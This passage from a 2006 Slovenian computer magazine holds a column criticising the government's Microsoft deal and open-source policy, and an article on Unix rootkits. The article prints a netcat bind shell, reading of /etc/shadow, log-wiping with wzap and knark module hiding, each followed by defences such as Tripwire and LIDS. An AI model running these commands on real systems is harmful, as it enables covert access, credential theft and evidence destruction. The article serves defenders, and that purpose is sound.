neusmerjenega razvoja niso prava pot, saj se denar porabi, na trgu pa ni pravih učinkov. Tovrstna pomoč je bila v preteklosti že dana razvijalcem odprtokodnih sistemov, vendar večjih učinkov ni bilo zaznati. Po našem mnenju je veliko boljši pristop, ki smo ga v tem odgovoru večkrat omenjali: strategija in jasen odnos do odprtokodnih rešitev, opredelitve kje je prehod smiseln in kje ne (morda kombinacija ali pa tudi ne), uporaba pozitivne moj mikro | 2 | februar | 2006 država, informatika in odprta koda prakse v drugih državah in pri nas, izdelava akcijskega načrta za izvedbo (projekti) z upoštevanjem faktorjev tveganja, stroškov vzporednega delovanja in samega prehoda (usposabljanja), izdelava specifikacij in javnih razpisov za pridobitev ustrezne podpore pri zunanjih izvajalcih, ki bodo dolgoročno lahko zagotavljali podporo ipd. Potrebno je zagotoviti tudi ustrezno podporo znotraj javne uprave, saj v momentu, ko sistemi obstanejo, državljani ne sprašujejo, pod katerim operacijskim sistemom delujejo naši programi. Enostavno zahtevajo hitro in kakovostno storitev.« In nadalje »… Zaenkrat nismo razmišljali o prehodu na OpenOffice.org, smo pa zelo tehtali glede potrebnosti števila MS licenc tudi v okviru krovnega sporazuma. Med drugim ne bomo sklenili pogodbe za nabavo in vzdrževanje MS Office programske opreme za potrebe upravnih enot. Dolgoročno bo potrebno razmišljati o programski opremi za učinkovito delo IT - MOZAIK Tak odgovor se nam je zdel malce čuden. Študija bi bila namreč lahko objavljena na spletnih straneh ministrstva ali pa nam bi jo posredovali v elektronski obliki. Zato smo jo od njih še enkrat zahtevali. Odgovor (tudi tega lahko najdete v celoti na CD-ju) je bil »… da je omenjeni dokument dostopen samo na vpogled na sedežu Ministrstva za javno upravo v skladu z drugim odstavkom 25. člena Zakona o dostopu do informacij javnega značaja (Ur. list RS 96/05). Ta določa, da v primeru, ko je zahtevana informacija zavarovana skladno z zakonom, ki ureja avtorsko pravico, organ prosilcu omogoči seznanitev z informacijo tako, da mu jo da na vpogled.« Zakon to res predvideva, a hkrati v 10. členu, kjer govori o posredovanju informacij javnega značaja v svetovni splet, določa, da mora vsak organ posredovati v svetovni splet informacije javnega značaja, med katere v drugi točki  Ali dokument »Primerjava ekonomske upravičenosti nabave pisarniške zbirke za potrebe državnih organov RS (Microsoft Office − OpenOffice.Org)« res ni javnega značaja, da je na vpogled samo v ministrstvu? zalednih služb. Potreben bo izredno dober in prilagodljiv pisarniški program za skupinsko delo in za pokrivanje poslovnih procesov, z možnostjo dostopanja do različnih evidenc ter registrov, do zagotavljanja medsebojne izmenjave podatkov (znotraj javne uprave) in izven nje (pravne osebe, evropska unija) in podobno. Pri tem bomo morali uporabljati standarde za izmenjavo podatkov ter ustrezne formate zapisov (tudi ODF – Open Document Format).« Tako torej ministrstvo za javno upravo. Je mogoče k temu kaj dodati? Celotna stvar je namreč videti povsem jasna. Nova vlada je raziskala, ali so odprtokodne rešitve dovolj dobre in ali ustrezajo njihovim zahtevam. Ugotovili so, da ne, in se lotili pogajanj z Microsoftom. V njih so si izborili cenejši nakup operacijskega sistema in pisarniške zbirke, hkrati pa niso določili, koliko licenc bodo kupili, saj se bo o tem odločal vsak državni organ posebej. Odprte kode ne nameravajo zavreči, zato so ustanovili delovno skupino, ki bo na eni strani spremljala razvoj dogajanja, na drugi pa tudi pripravila strategijo za morebitno uvajanje odprtokodnih rešitev in ko bodo te tako daleč, bo izdelala akcijski načrt za njihovo uveljavitev. KJE JE DOKUMENT? A kot je običaj, ni nič tako zlato, kot je videti na prvi pogled. Osnova odločanja naj bi bila, poleg izkušenj drugih držav, tudi prenovljena študija »Ocena ekonomske upravičenosti MS EA za obdobje 2003−2005«, ki se zdaj imenuje »Primerjava ekonomske upravičenosti nabave pisarniške zbirke za potrebe državnih organov RS (Microsoft Office − OpenOffice.Org)«. V odgovoru ministrstva je zapisano, da si lahko študijo ogledamo na ministrstvu za javno upravo. opredeljuje tudi »programe, strategije, stališča, mnenja in navodila, ki so splošnega pomena ali so pomembna za poslovanje organa s fizičnimi in pravnimi osebami oziroma za odločanje o njihovih pravicah ali obveznostih, študije in druge podobne dokumente, ki se nanašajo na delovno področje organa«. Tak dokument po našem mnenju vsekakor sodi v to področje. Vsekakor gre za stališča, mnenja in navodila, ki so splošnega pomena, in gre tudi za študijo, ki se nanaša na delovno področje tega organa. Še zlasti če gre za dokument, na podlagi katerega se je država odločala o nakupu licenc v vrednosti nekaj sto milijonov tolarjev. To pa je denar, za katerega davkoplačevalci res hočemo vedeti, ali je upravičeno porabljen. Zato upravičeno hočemo vedeti, kaj je v študiji in tudi, kdo jo je izdelal. Pod prvo študijo iz konca leta 2002 sta se podpisala Center vlade za informatiko (CVI) in Inštitut za projektni management in informacijsko tehnologijo (IPMIT) in je bila v celoti objavljena v javnosti. Za drugo študijo ne vemo niti, kdo jo je izvedel, ne vemo, ali je bil za izdelovalca študije objavljen kak razpis, ali pa je zadeva tekla samodejno. Zato smo pisali tudi na Urad pooblaščenca za dostop do informacij javnega značaja, kjer smo prosili za pomoč. To pa zato, ker avtorska zaščita lahko tudi pomeni, da informacij, ki so v zaščitenem dokumentu, ne smemo objaviti oziroma smo za dovoljenje objave prepuščeni na milost in nemilost avtorjem. Tega pa javnost, glede na posledice, ki jih tak dokument prinaša, ne sme dovoliti. Pogodba z Microsoftom naj bi bila po nekaterih neuradnih ocenah vredna okoli 500 milijonov tolarjev in dobršen del tega je namenjen tudi nakupu licenc za Office, zato menimo, da je javnost upravičena do popolnih informacij na to temo in da ima tudi 35 IT - MOZAIK država, informatika in odprta koda pravico ovrednotiti ocene, ki so bile podane v njem. Odgovora pooblaščenke je potrdil naše razmišljanje, saj je Urad enkrat na podobno temo že izdal odločbo, da mora tak dokument biti na voljo v elektronski obliki. Seveda smo se na ministrstvo pritožili tudi mi in citirali besede pooblaščenke. Odgovora do zaključka redakcije še nismo prejeli, tako da bomo o njem, pa tudi o dokumentu, če nam ga bo uspelo dobiti, pisali v naslednji številki Mojega mikra. DRŽAVA BO ŠTUDIRALA ŠTIRI LETA ... A dostopnost študije je le delček. Sicer pomemben, saj daje vtis, da ministrstvo nekaj skriva, a to še ni vse. Čudno in če hočete tudi sporno je dejstvo, kako se je naša država lotila celotne zadeve. V odgovoru namreč zasledimo tudi podatek, ki smo ga enkrat že zapisali, a ga bomo zaradi zanimivosti še enkrat: »… do leta 2010 pa načrtujemo tudi poglavje o mestu in vlogi odprte kode v javni upravi oz. širše v družbi v RS.« Ja, prav ste prebrali, do leta 2010. Takrat bomo dobili »poglavje«, kjer bo pisalo, ali je odprta koda vredna vpeljave v informatiko javne uprave. Štiri leta bo naša država študirala, primerjala, se odločala. Pri tem pa že na   Država naj bi pri razvoju informatike igrala aktivno vlogo in poskrbela, da je enakih možnosti, kot jih je deležen Microsoft, deležen še kdo drug tramo pa, da nepovratna sredstva za potrebe neusmerjenega razvoja niso prava pot, saj se denar porabi, na trgu pa ni pravih učinkov. Tovrstna pomoč je bila v preteklosti že dana razvijalcem odprto-kodnih sistemov, vendar večjih učinkov ni bilo zaznati.« Država očitno ne loči dveh zelo pomembnih pojmov – odprtokodna skupnost in informacijska industrija okoli odprte kode. Res je, da je država v preteklosti dajala denar, a dajala ga je odprtokodni skupnosti in od nje pričakovala poslovne rezultate. To na žalost ne gre. Poslovne rezultate lahko da le industrija, čeprav je tudi skupnost treba podpreti. Nihče recimo ne pričakuje, da bo država pomagala lokalizirati OpenOffice.org (čeprav bi bilo lepo), lahko pa recimo skupaj s podjetji, ki se ukvarjajo s takšnimi in drugačnimi rešitvami, vzdrževanjem in podobnim, vzpostavi recimo sistem pomoči uporabnikom. S tem pomaga sebi, pomaga industriji in seveda tudi uporabnikom in to za relativno majhen denar. Država si je za premislek o »o mestu in vlogi odprte kode v javni upravi oz. širše v družbi v RS« vzela kar štiri leta. spletni strani Evropskega parlamenta najdemo dokaj konkretne informacije o tem, kako zadevi strežejo v drugih državah. V Franciji na primer, bo večji del od 900.000 delovnih postaj v javni upravi v naslednjih dveh letih prešlo na odprtokodne rešitve, na Danskem je vlada izdala smernice za prehod, podobno tudi nemško notranje ministrstvo, pilotske projekte izvajajo v mestu Shoten v Belgiji, v Ostravi in Pragi na Češkem, Mannheimu (da, prav v tistem Mannheimu, za katerega država pravi, da imajo slabe izkušnje, bodo v štirih letih 3700 uporabnikov in 110 strežnikov nadomestili z odrtokodnimi rešitvami), Gdansku na Poljskem, v Italiji obstaja projekt uporabe odprte kode v šolah ... Projekti torej so, študije teh držav so dosegljive, Slovenija pa si bo vzela štiri leta. Štiri leta, po katerih bo izdelala strategijo, ki jo marsikatera evropska država ima že zdaj. Slovenija bo budno spremljala razvoj dogodkov v Evropi, namesto da bo z njo tekmovala. Države v EU-ju so med drugim tudi naše tekmice in ne le referenčni laboratorij. Ko bodo te države razvile svoje sisteme, bo za nas prepozno in morali jih bomo kupovati od njih, namesto da bi jih morda oni od nas. Tak odnos, ki smo ga lahko prebrali v tem odgovoru, daje vedeti, da je naša država, blago, rečeno neambiciozna, lahko pa bi jo označili tudi s čim drugim. Da država očitno ni najbolj doma na tem področju, daje vedeti tudi stavek » …sma- 36 KAJ PA ŠOLSTVO? Pri vsem tem pa se nismo dotaknili šolstva, kjer je zadeva po mnenju pisca teh vrstic, še neprimerno bolj zoprna. Šolstvo nima denarja in velikokrat smo priča tarnanju ravnateljev in učiteljev, da ne morejo kupiti takšnega ali drugačnega učnega pripomočka ali programa. Pred časom sem se pogovarjal z učiteljico matematike, ki mi je rekla, da včasih kar same iz lastnega žepa kupijo kak računalniški programček, ki jim bo pomagal pri pouku. In takšno šolstvo mora seveda tudi kupiti licenčno programsko opremo. Sicer po akademskih cenah, a vendarle. Na drugi strani pa obstaja recimo SuSe Linux, ki je pravzaprav brezplačen (če recimo nekdo kupi paket za dobrih deset tisočakov, ga lahko namesti v kolikor hoče računalnikov), ki vsebuje kopico izobraževalnih programov, od matematike, kemije, do jezikov in astronomije, ki so brezplačni, poučni in čudovit pripomoček pri učenju in vaji. Pri vseh teh programih gre za brezplačne odpr- tokodne projekte. A to vedo (morali bi) vedeti tudi tisti, ki v naši državi odločajo o tem, kako se bo informatizirala, pa v niti enem dokumentu do zdaj nismo zasledili niti ideje, kaj šele priporočila, da bi se kaj takšnega lahko uporabilo recimo v našem osnovnem ali srednjem šolstvu. Tako pa vzgajamo generacijo učencev, ki urejevalniku besedila pravijo Word, poštnemu programu pa Outlook. Bi vam bilo všeč, če bi se vsem avtomobilom začeli praviti Audi? Meni ne! NE PROTI MICROSOFTU Marsikdo bi iz zapisanega lahko sklepal, da smo se pri Mojem mikru odločili za protimicrosoftovsko kampanjo. A to niti najmanj ne drži. Microsoft je v tem pogledu ravnal pravzaprav čisto razumljivo, pragmatično in korektno. Država ga je povabila k pogajanjem in iz njih je potegnil največ, kar je lahko. Lahko jim le zaploskamo in čestitamo, da dobro delajo. Tudi ne gre za poveličevanje odprte kode, saj vsi vemo, da tudi ta ni suho zlato. Gre preprosto za to, da država daje zelo nazoren vtis, da ne ve, kaj naj počne z informatiko, da nima nobene strategije (vsaj objavila je ni), saj se le uklanja razvoju dogodkov in je popolnoma neambiciozna. In prav to je verjetno tudi razlog za tisto smešno letnico 2010. Pogajanja, s katerimi so si izborili nižjo ceno, so daleč od nečesa, čemur bi lahko rekli strategija, pa naj bodo še tako trda. Strategija v sodobnem svetu pomeni, vsaj kar zadeva informatiko, odprtost pogleda in pripravljenost na spremembo načina razmišljanja predvsem pa pripravljenost nekaj narediti. A če že pogledamo sestavo delovne skupine, ki naj bi spremljala dogajanje vidimo, da je upanja za spremembe bolj malo. Verjetno se bo marsikdo vprašal, kaj bi pa sploh radi. No, pred leti, ko se je začela lokalizacija sistema Windows je bilo jasno, da zadeva ne bo šla skozi, če je ne bo podprla država. A ta podpora se ni izražala v financiranju lokalizacije, ampak pripravljenosti nakupa licenc za lokalizirane sisteme. Brez pripravljenosti države še zdaj ne bi imeli slovenskih Windows, Office in še česa. In ko smo jih dobili, se je njihova uporaba razširila in okoli Microsoftovih tehnologij je nastala cela industrija. Država je torej igrala aktivno vlogo pri razvoju informatike. In prav to želimo, da spet naredi. Da igra aktivno vlogo in da je enakih možnosti, kot jih je bil deležen Microsoft, deležen še kdo drug. Da mogoče tudi iz česa drugega nastane cela industrija.  moj mikro | 2 | februar | 2006 V Microsoftu nenehno izboljšujemo varnost naših izdelkov. Sodelujemo z industrijo, vladami in zakonodajnimi telesi, da bi lahko zaš¿itili poslovanje pred varnostnimi grožnjami in izsledili povzro¿itelje. Tako vam pomagamo, da vaše poslovanje poteka neprekinjeno. Poiš¿ite ve¿ informacij na microsoft.com/slovenija/potencial. � 2006 Microsoft Corporation. Vse pravice so pridrÏane. IT - MOZAIK hekerske metode: napadi na sisteme Unix z administratorskimi paketi Dostop na ravni administratorja je šele začetek V trenutku, ko hekerju uspe pridobiti dostop na ravni administratorja in se prvi adrenalinski šok nekoliko poleže, se njegovo resno delo komaj začne. Takrat začne heker »srkati« datoteke in informacije, nameščati programe za prestrezanje gesel (ftp, telnet, pop, snmp …), nameščati nedovoljeno vsebino, na koncu pa iz vašega sistema celo napade naslednjo žrtev. Skoraj vse opisane dejavnosti temeljijo na namenskih administratorskih paketih, s tujko imenovanimi rootkits. Piše : Tomaž Bratuša tomaz.bratusa@mojmikro.si P rvi osvojen sistem ponavadi postane osnova za nadaljnje napade, zato je napadalcem najvažneje, da v tak sistem dostavijo skupek administratorskih orodij in ga tam dobro skrijejo. Tovrstni paketi, namenjeni operacijskemu sistemu Unix, so sestavljeni iz štirih skupin: trojanski programi (spremenjene razičice programov login, netstat, ps ...) zadnja vrata, vohljači in čistilci sistemskega dnevnika. TROJANCI V trenutku, ko napadalec osvoji administratorske privilegije, lahko vsak sistemski ukaz spremeni v trojanskega konja. Zaradi tega je izrednega pomena redno preverjanje velikosti in datumov vseh izvršilnih datotek in programov, še posebej pa bi izpostavil naslednje: login, su, telnet, ftp, passwd, netstat, ifconfig, ls, ps, ssh, find, du, sync, reboot, shutdown itd.  Trojanski konj je neavtorizirana koda, priključena legitimnemu programu, ki izvaja nepoznane in za uporabnika neželene operacije! Običajni trojanec je v številnih administratorskih paketih preprosta piratska različica programa login. Tovrsten trojanec prijavlja uporabnike na isti način, kot to počne legitimen program, vendar ob tem hkrati zabeleži vneseno uporabniško ime in geslo. Isto počne tudi trojanska različica programa ssh. Drug primerek trojanca lahko npr. odpre zadnja vrata tako, da uporabi TCP-sprejemnik in s tem napadalcu omogoči dostop do ukazne lupine. Na primer, ukaz ls bo preveril, ali je določen trojanec v sistemu in v uporabi. Če tro- 38 janec ni v uporabi, bo program zagnal orodje netcat, ki bo napadalcem omogočilo dostop do ukazne lupine /bin/sh. Primer tovrstne uporabe je uporaba naslednjega ukaza, s katerim napadalec v ozadju zažene netcat, ki nato posluša na TCP priključku 4444 na katerem napadalcu omogoča dostop do ukazne lupine /bin/sh: # nohup nc -l -p 4444 -nvv -e /sbin/sh & listening on [any] 4444 ... V trenutku, ko se napadalec poveže s TCPpriključkom 4444, bo videl naslednje vrstice in končno imel dostop na ravni administratorja: # nc -nvv xxx.xxx.xxx.xxx 4444 (UNKNOWN) [xxx.xxx.xxx.xxx] 4444 (?) open # cat /etc/shadow root:ar90alrR10r41:10783:0:99999:7:-1:1:134530596 bin:*:10639:0:99999:7::: daemon:*:10639:0:99999:7 adm:*:10639:0:99999:7::: Število mogočih trojanskih tehnik je omejeno samo z napadalčevo domišljijo. Budno nadzorovanje in spremljanje aktivnih priključkov oz. vrat je v tovrstnih primerih nujno. Vsekakor pa je najboljša obramba preprečitev zamenjave izvršilnih binarnih datotek. OBRAMBA PRED TROJANCI Mnoge različice trojancev je brez posebnih orodij izredno težko odkriti. Tovrstni programi so namreč pogosto enake velikosti kot originali in imajo tudi isti čas nastanka, zato običajne tehnike odkrivanja ne bodo uspešne. Uvodoma sem že omenil, da potrebuje napadalec za namestitev korenskega paketa dostop na ravni administratorja, kar pomeni, da bo najboljša obramba že to, da jim preprečite pridobitev tovrstnega dostopa. Napadalcu boste v veliki meri otežili delo že z uporabo kompleksnejših gesel, varnostno posodobljenim sistemom in zapiranjem nepotrebnih vrat. Če ste sistemski administrator, bi morala imeti vaša organizacija vsekakor izdelan varnostni program za ohranjanje varnostne strukture. Čeprav boste svoj sistem ohranjali pri življenju na zgoraj opisani način, pa to ne pomeni, da napadalec ne more vstopiti v vaš sistem prek katere od neznanih varnostnih lukenj in si tako pridobiti administratorskega dostopa. Zelo uporabna načina zaznavanja tovrstnih posegov sta namestitev pregledovalnika integritete datotek (file integrity checker) kot je Tripwire, ki najdete na www.tripwire.com, ali uporaba PGP-podpisov ključnih sistemskih datotek in programov. Na srečo pa je v nekatera orodja za delo s programskimi paketi vdelano tudi preverjanje njihove integritete. Več različic Linuxa namreč uporablja RPM-format paketov, ki uporablja preverjanje integritete na osnovi algritma MD5. Kako vam to pomaga po vdoru? S pomočjo zanesljive (originalne) zbirke paketov lahko preverite, ali je bila katera od prisotnih binarnih datotek zamenjana in tako spremenjena v trojanca. [zrtev]# rpm -Vvp ftp://ftp.redhat.com/pub/ redhat/\ redhat-6.2/i386/RedHat/RPMS/fileutils-4.021.i386.rpm S.5....T /bin/ls V zgornjem primeru je /bin/ls del paketa operacijskega sistema Red Hat 6.2. Opazite petico v odgovoru? To je znak, da je bila ta binarna datoteka spremenjena, zato obstaja velika verjetnost, da je bil računalnik tarča uspešnega vdora. Za sisteme Solaris je tako na spletnem naslovu http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl dostopna celovita zbirka podatkov znanih rezultatov MD5. Če ste administrator tovrstnih sistemov, vam bo tovrstna zbirka podatkov vsekakor koristila. Kadar pridete v položaj, ko je bil sistem žrtev vdora, za obnovitev podatkov nikakor ne smete uporabiti varnostnih kopij – obstaja velika verjetnost, da so okužene tudi kopije. Pravilno okrevanje po vdoru vključuje izključno uporabo originalnih medijev! ČIŠČENJE DNEVNIKA Verjetno se vam že dozdeva, da napadalci ponavadi nimajo pretiranega namena za seboj puščati zapisov o svojih dejavnosti (še posebej ne organom pregona) znotraj žrtvinega sistema. Zaradi tega izkušenejši napadalci vedno temeljito počistijo sledi, ki jih je v tarčinem sistemu pustilo njihovo nečedno početje. V dober rootkit vsekakor sodi tudi nekaj orodij za čiščenje sledi, med katerimi so najbolj priljubljena: zap, wzap, wted in remove. V nekaterih primerih pa je dovolj že navaden urejevalnik besedil, kot sta vi in emacs. Prvi korak pri odstranjevanju sledi je seveda spreminjanje dnevnika, ki beleži prijave v sistem. Da bi odkrili ustrezno tehniko, bomo najprej pogledali v konfiguracijsko datoteko /etc/syslog.conf. Na primeru lahko vidimo, da je velika večina podatkov o prijavljanju v sistem v imeniku /var/log: moj mikro | 2 | februar | 2006 IT - MOZAIK hekerske metode: napadi na sisteme Unix z administratorskimi paketi [zrtev]# cat /etc/syslog.conf # Log all kernel messages to the console. # Logging much else clutters up the screen. #kern.* /dev/console # Log anything (except mail) of level info or higher. # Don't log private authentication messages! *.info;mail.none;authpriv.none /var/log/messages # The authpriv file has restricted access. authpriv.* /var/log/secure # Log all the mail messages in one place. mail.* /var/log/maillog # Everybody gets emergency messages, plus log them on another # machine. *.emerg * # Save mail and news errors of level err and higher in a # special file. uucp,news.crit /var/log/spooler Po ogledu zgornje datoteke vemo, da moramo dnevnik o prijavah v sistem iskati v imeniku var/log. Med ogledom tega imenika najdemo različne dnevnike, vključno z cron, maillog, messages, spooler, secure, wtmp in xferlog. Dnevnik wtmp je v binarni obliki zato napadalec za spremembo običajno uporabi ustrezen program iz administratorskega paketa. Eden izmed tovrstnih čistilcev je program Wzap, ki je namenjen čiščenju dnevnika wtmp, iz katerega odstrani sledi določenega uporabnika. Zagon orodja Wzap je videti tako: [quake]# who ./wtmp hekr ftpd17264 Jul 1 12:09 (172.16.11.204) root tty1 Jul 4 22:21 root tty1 Jul 9 19:45 root tty1 Jul 9 19:57 root tty1 Jul 9 21:48 root tty1 Jul 9 21:53 root tty1 Jul 9 22:45 root tty1 Jul 10 12:24 hekr tty1 Jul 11 09:22 root tty1 Jul 11 09:42 root tty1 Jul 11 09:51 root tty1 Jul 11 15:43 hekr ftpd841 Jul 11 22:51 (172.16.11.205) root tty1 Jul 14 10:05 hekr ftpd3137 Jul 15 08:27 (172.16.11.205) hekr ftpd82 Jul 15 17:37 (172.16.11.205) hekr ftpd945 Jul 17 19:14 (172.16.11.205) root tty1 Jul 24 22:14 [quake]# /opt/wzap Enter username to zap from the wtmp: hekr opening file... opening output file... working... [quake]# who ./wtmp.out root tty1 Jul 4 22:21 root tty1 Jul 9 19:45 root tty1 Jul 9 19:57 root tty1 Jul 9 21:48 root tty1 Jul 9 21:53 root root root root root root root root tty1 tty1 tty1 tty1 tty1 tty1 tty1 tty1 Jul Jul Jul Jul Jul Jul Jul Jul 9 22:45 10 12:24 11 09:42 11 09:51 11 15:43 14 10:05 24 22:14 24 22:14 Kot lahko vidite, smo iz dnevnika wtmp.out odstranili uporabnika hekr. S kopiranjem datoteke wtmp.out prek starega dnevnika wtmp lahko napadalec odstrani sledi svojega prijavljanja v sistem. Eno zadnjih dejanj čistilne akcije pa je odstranitev ukazov, ki so bili uporabljen za čiščenje dnevnika. Večina sistemov Unix beleži izvršene ukaze, da bi s tem uporabniku olajšali izvrševanje istih zaporedij ukazov. Tako lahko v ukazni lupini, imenovani Bourne Again Shell (/bin/bash), v imeniku vsakega uporabnika najdemo datoteko .bash history, ki vsebuje seznam zadnjih ukazov. Zadnji korak je torej odstanitev ukazov, s pomočjo katerih je heker čistil dnevnik. Datoteka .bash_history je npr. videti tako: tail -f /var/log/messages vi chat-ppp0 kill -9 1521 logout < od tega mesta naprej vidimo prijavo in početje napadalca > i pwd cat /etc/shadow >> /tmp/.badstuff/sh.log cat /etc/hosts >> /tmp/.badstuff/ho.log cat /etc/groups >> /tmp/.badstuff/gr.log netstat –na >> /tmp/.badstuff/ns.log arp –a >> /tmp/.badstuff/a.log /sbin/ifconfig >> /tmp/.badstuff/if.log find / -name –type f –perm –4000 >> /tmp/. badstuff/suid.log find / -name –type f –perm –2000 >> /tmp/. badstuff/sgid.log ... S pomočjo navadnega urejevalnika besedil bo napadalec odstranil vse sledi svojih ukazov. ZAŠČITA DNEVNIKA Osnovno pravilo je, da morate dnevnike vedno shranjevati na medij, ki ga je težko spreminjati. V takem primeru se bodo podatki samo dodajali in jih ne bo mogoče brisati. Druga metoda je, da uporabimo storitev syslog, s katero pošljemo podatke v varen namenski računalnik. Program Secure Syslog podjetja Core Labs (http://www.core-sdi.com/english/ freesoft.html) združuje kriptografijo in daljinsko uporabo storitve syslog, kar občutno olajša zaščito ključnih datotek. ADMINISTRATORSKI PAKETI ZA JEDRA Do tega trenutka smo omenili nekaj starejših metod, ki jih uporabljajo administratorski paketi za ustvarjanje trojanskih različic obstoječih datotek. Najnovejše dogajanje na tem področju je usmerjeno predvsem na jedro operacijskega sistema, s čimer zlonamerni program zavede vse sistemske programe in se tako elegantno izogne njihovemu spreminjanju v trojanske različice. Običajno se za neposredno dodajanje funkcionalnosti v jedro operacijskega sistema uporabljajo moduli LKM (Loadable Kernel Module), s čimer se izognemo ponovnemu prevajanju celotnega jedra. Tovrstno delovanje omogoča včitavanje in odstranjevanje posameznih modulov jedra po potrebi, s čimer je zmanjšana velikost jedra. Veliko različic Unixa podpria tovrstno možnost, vključno z Linuxom, FReeBSD in Solarisom. Ker pa so hekerji prebrali tudi knjigo z naslovom »Umetnost vojne«, znajo vsako novo možnost uporabiti sebi v prid in tako je tudi v tem primeru. Namesto da bi module uporabljali za delovanje gonilnikov omrežnih kartic ipd., jih raje uporabijo za prestrezanje in menjavo sistemskih funkcij. Dva najbolj priljubljena administratorska paketa za jedra sta Knark za Linux in Solaris Loadable Kernel Modules skupine THC. Oba predstavnika in še nekaj drugih najdete na spletnem naslovu www.packetstormsecurity.org . Knark je delo hekerja, imenovanega Creed, v bistvu pa gre za administratorski paket, namenjen jedru sistemov Linux 2.2.x. Srce paketa je modul knark.o napadalci pa za njegovo včitavanje ponavadi uporabijo program insmod: [hekr]# /sbin/insmod knark.o Nato napadalec preveri, ali je modul uspešno uporabljen: [hekr]# /sbin/lsmod Module Size knark 6936 nls_iso8859 2240 lockd 30344 sunrpc 52132 rtl8139 11748 Used 0 1 1 1 1 by (unused) (autoclean) (autoclean) (autoclean) [lockd] (autoclean) Kot vidimo je modul knark uspešno uporabljen, vendar bi lahko administrator oz. žrtev tovrstno početje odkril. Zaradi tega napadalci uporabijo modul LKM modhide.o, ki je del paketa knark, in z njegovo pomočjo iz rezultatov funkcije lsmod odstranijo sledi modula knark: [shadow]# /sbin/insmod modhide.o modhide.o: init_module: Device or resource busy [shadow]# /sbin/lsmod Module Size Used by nls_iso8859 2240 1 (autoclean) lockd 30344 1 (autoclean) sunrpc 52132 1 (autoclean) [lockd] rtl8139 11748 1 (autoclean) Kot lahko vidite, je iz rezultatov orodja lsmod, knark izpuhtel. V administratorskem paketu knark najdete še naslednja orodja: • Hidef − za skrivanje datotek v sistemu, • Unhidef − odkrivanje skritih datotek, • Ered − za preusmerjanje izvršilnih datotek, 39 IT - MOZAIK hekerske metode: napadi na sisteme Unix z administratorskimi paketi • • • • kar napadalcu omogoči izvršitev trojanskih programov namesto originalnih, Nethide − za skrivanje trojanskih programov pred administratorskimi ukazi kot je netstat, Taskhack − za spreminjanje uporabniških in skupinskih identifikatorjem, s čimer napadalec ureja ravni dostopa, Rexec − za oddaljeno izvrševanje ukazov, pri čemer omogoča tudi ponarejanje izvornega IP naslova, Rootme − za pridobivanje administratorskih privilegijev. Poglejmo, kako je to preprosto: [hekr]$ rootme /bin/sh rootme.c by Creed $a #hack.se 1999 creed$asekure.net Do you feel lucky today, hax0r? bash# Poleg knarka obstaja tudi podoben, paket imenovan adore, ki je posodobljena različica in jo lahko prevzamete na http://packetstorm. linuxsecurity.com/groups/teso/. Poglejmo si nekaj možnosti administratorskega paketa adore: [hekr]$ ava Usage: ./ava {h,u,r,i,v,U} [file, PID or dummy (for ‘U’)] h hide file u unhide file r execute as root U uninstall adore i make PID invisible v make PID visible ZAŠČITA PRED ADMINISTRATORSKIMI PAKETI ZA JEDRA Kot ste lahko videli, so posledice napadov z administratorskimi paketi za jedra precej uničujoče, poleg tega pa jih je praktično nemogoče odkriti. Če žrtev poskuša ugotoviti, ali je njen sistem kompromitiran, se pri tem ne more zanašati na binarne programe niti na jedro sistema. Če je napadalcu uspelo namesti trojanca v jedro sistema, vam pri odkrivanju ne bodo v pomoč niti programi za izračunavanje razpršenih (hash) vrednosti. Ena izmed možnosti je tudi pristop v slogu znanega pregovora: »Klin se s klinom izbija!« V tem primeru bomo za odkrivanje knarka uporabili kar knark. Knark namreč napadalcu omogoča skrivanje procesov s pošiljanjem signala 31 (ukaz kill -31), pri čemer je odkrivanje skritih procesov mogoče s pošiljanjem signala 32 oz. ukazom kill -32. Vsekakor pa imejte v mislih, da lahko napadalec med prevajanjem knarka tovrstne ukaze tudi spremeni in vam s tem dodatno oteži odkrivanje. Še ena v vrsti metod za odkrivanje administratorskih paketov je uporaba orodja carbonite, ki ga najdete na naslovu www.foundstone. com . Carbonite je modul jedra oeracijskega sistema Linux, ki »zamrzuje« status vsakega od procesov Linuxove zbirke task_struct. Ome- 40 Vas zanima, kdo prebira vašo e-pošto? V zadnjem času je veliko govora o nadzoru elektronskih komunikacij, hranjenju podatkov ipd. Kako preprosto ugotovite ali državni organi, tuje obveščevalne službe, nadrejeni ali partner spremljajo vašo elektronsko pošto? Enostavno sledite naslednjim navodilom: 1. Odprite elektronski predal pri katerem od brezplačnih ponudnikov (Email, Hotmail, Gmail, Yahoo itd). 2. Odprite si še en poštni predal, pri katerem od neobičajnih ponudnikov elektronske pošte, kot je npr. Rediffmail.com (v primeru tujih obveščevalnih služb bo najbolje pri ponudniku v kakšni arabski državi). 3. Pošljite nekaj sporočil med ustvarjenima računoma, pri čemer pišite o teroristom zanimivih stvareh, kot so: kriptografija, steganografija, pripomočki za izdelavo bomb, atentati, slike objektov, načrti, domači eksplozivi …). 4. V vsako od sporočil vključite tudi edinstven URL npr. http://192.168.1.1/secret/ do svojega spletnega strežnika, do katerega dnevniških datotek imate dostop. Naslov strežnika mora biti znan samo vam in ne sme biti objavljen v iskalnikih. URL mora morebitnega vladnega vohuna dobesedno vabiti, naj ga obišče. 5. Če boste v naslednjih dneh v svojem strežniku zabeležili obiske, ste lahko prepričani, da ste operativno zanimivi za špiclje najrazličnejših vrst. Glede na IP-naslov, od koder bo prijadral vohun, boste lahko ugotovili tudi, kdo približno se zanima za vaše elektronske komunikacije. V sporočila lahko seveda vključite tudi znane spletne naslove Al Kaide in elektronske naslove teroristov, kot je npr. el-amir@tu-harburg.de, ki ga je uporabljal pokojni Mohamed Ata. Uporabite lahko tudi kriptografsko zaščitena sporočila, kot jih omogoča spletna stran www. hushmail.com/, najzanimivejši pa boste, če boste sporočila poslali s katerega od SMTP-strežnikov iz arabskih držav. njena zbirka vsebuje strukturo jedra, ki hrani podatke o vseh procesih, s čimer nam olajša odkrivanje piratskih modulov LKM. Več si preberite na zgoraj omenjenem spletnem naslovu skupine Foundstone. Seveda pa je v teh primerih bolje vdor preprečiti, kot pa kasneje ugotavljati, kaj vse je narobe. Ena izmed preprečevalnih tehnik je tudi uporaba orodja za odkrivanje vdorov LIDS (Linux Intrusion Detection System). Orodje lahko prevzamete na spletnem naslovu www.lids.org, omogoča pa nam: • zaklepanje jedra, s čimer preprečuje spremembe, • preprečuje včitavanje modulov v jedro kakor tudi njihovo odstranjevanje, • preprečuje spreminjanje atributov posameznih datotek, • varuje občutljive datoteke v imeniku /dev, • odkriva skeniranja priključkov oz. vrat. LIDS je v bistvu 